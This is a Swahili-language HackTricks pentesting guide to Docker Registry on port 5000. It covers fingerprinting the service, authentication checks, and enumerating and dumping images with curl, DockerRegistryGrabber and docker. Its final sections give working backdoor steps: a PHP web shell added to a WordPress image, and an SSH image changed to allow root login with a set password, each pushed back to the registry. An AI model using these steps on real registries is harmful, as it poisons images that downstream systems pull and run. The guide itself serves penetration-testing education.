5000 - Pentesting Docker Registry

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Taarifa Msingi

Mfumo wa uhifadhi na usambazaji unaojulikana kama Docker registry umewekwa kwa ajili ya picha za Docker ambazo zina majina na zinaweza kuja katika toleo mbalimbali, zilizotofautishwa na vitambulisho. Picha hizi zimepangwa ndani ya maktaba za Docker kwenye usajili, kila maktaba ikihifadhi toleo mbalimbali la picha fulani. Utendaji unaotolewa unaruhusu picha kupakuliwa kwa kifaa au kupakiwa kwenye usajili, ikizingatiwa kuwa mtumiaji ana ruhusa inayohitajika.

DockerHub hutumika kama usajili wa umma wa msingi kwa Docker, lakini watumiaji pia wana chaguo la kuendesha toleo la ndani la usajili/distribusheni ya Docker ya chanzo wazi au kuchagua Docker Trusted Registry inayoungwa mkono kibiashara. Aidha, usajili mbalimbali wa umma unaweza kupatikana mtandaoni.

Kupakua picha kutoka kwenye usajili wa ndani, amri ifuatayo hutumiwa:

docker pull my-registry:9000/foo/bar:2.1

Hii amri inapata picha ya foo/bar toleo 2.1 kutoka kwenye usajili wa ndani kwenye kikoa cha my-registry kwenye bandari ya 9000. Kinyume chake, ili kupakua picha hiyo hiyo kutoka DockerHub, hasa ikiwa 2.1 ni toleo jipya, amri inakuwa:

docker pull foo/bar

Bandari ya chaguo-msingi: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Kugundua

Njia rahisi ya kugundua huduma hii inayotumika ni kuipata kwenye matokeo ya nmap. Hata hivyo, kumbuka kwamba kama ni huduma inayotegemea HTTP inaweza kuwa nyuma ya wakala wa HTTP na nmap haitaigundua. Baadhi ya alama za vidole:

  • Ukifika / hakuna kitu kinachorudi kwenye jibu

  • Ukifika /v2/ basi {} inarudi

  • Ukifika /v2/_catalog unaweza kupata:

  • {"repositories":["alpine","ubuntu"]}

  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Uchambuzi

HTTP/HTTPS

Usajili wa Docker unaweza kuwa umewekwa kutumia HTTP au HTTPS. Kwa hivyo, jambo la kwanza unaloweza kulazimika kufanya ni kugundua ni ipi inayowekwa:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Uthibitisho

Docker registry inaweza pia kusanidiwa kuhitaji uthibitisho:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

Ikiwa Usajili wa Docker unahitaji uthibitisho unaweza jaribu kuvunja nguvu kutumia hii. Ikiwa unapata sifa halali utahitaji kuzitumia kuchambua usajili, katika curl unaweza kuzitumia kama hivi:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Uchambuzi kwa kutumia DockerRegistryGrabber

DockerRegistryGrabber ni chombo cha python cha kuchambua / kudump docker registry (bila au na uthibitishaji wa msingi)

usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

____   ____    ____
|  _ \ |  _ \  / ___|
| | | || |_) || |  _
| |_| ||  _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu

positional arguments:
url                URL

options:
-h, --help         show this help message and exit
-p port            port to use (default : 5000)

Authentication:
-U USERNAME        Username
-P PASSWORD        Password
-A header          Authorization bearer token

Actions:
--list
--dump_all
--dump DOCKERNAME  DockerName

Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Uchambuzi kwa kutumia curl

Mara baada ya kupata ufikivu wa docker registry hapa kuna baadhi ya amri unazoweza kutumia kuchambua:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

Tafadhali kumbuka kwamba unapopakua na kufungua faili za blobs, faili na folda zitaonekana kwenye saraka ya sasa. Ikiwa unapakua blobs zote na kuzifungua kwenye saraka moja zitafuta thamani kutoka kwa blobs zilizofunguliwa awali, kwa hivyo kuwa mwangalifu. Inaweza kuwa ya kuvutia kufungua kila blob ndani ya saraka tofauti ili uchunguze maudhui halisi ya kila blob.

Uchambuzi kwa kutumia docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Kuweka mlango nyuma kwa picha ya WordPress

Katika hali ambapo umepata Docker Registry ikihifadhi picha ya wordpress unaweza kuweka mlango nyuma. Tengeneza mlango nyuma:

shell.php
<?php echo shell_exec($_GET["cmd"]); ?>

Tengeneza Dockerfile:

Dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

Unda picha mpya, angalia ikiwa imeundwa, na sukuma:

docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it

Kuweka mlango wa nyuma kwenye picha ya seva ya SSH

Fikiria umepata Docker Registry na picha ya SSH na unataka kuweka mlango wa nyuma. Pakua picha hiyo na itekeleze:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Chambua faili ya sshd_config kutoka kwenye picha ya SSH:

docker cp 4c989242c714:/etc/ssh/sshd_config .

Na ubadilishe ili kuweka: PermitRootLogin yes

Unda Dockerfile kama ule ufuatao:

```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` **Unda** picha mpya, **angalia** imeundwa, na **sukuma**: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## Marejeo * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

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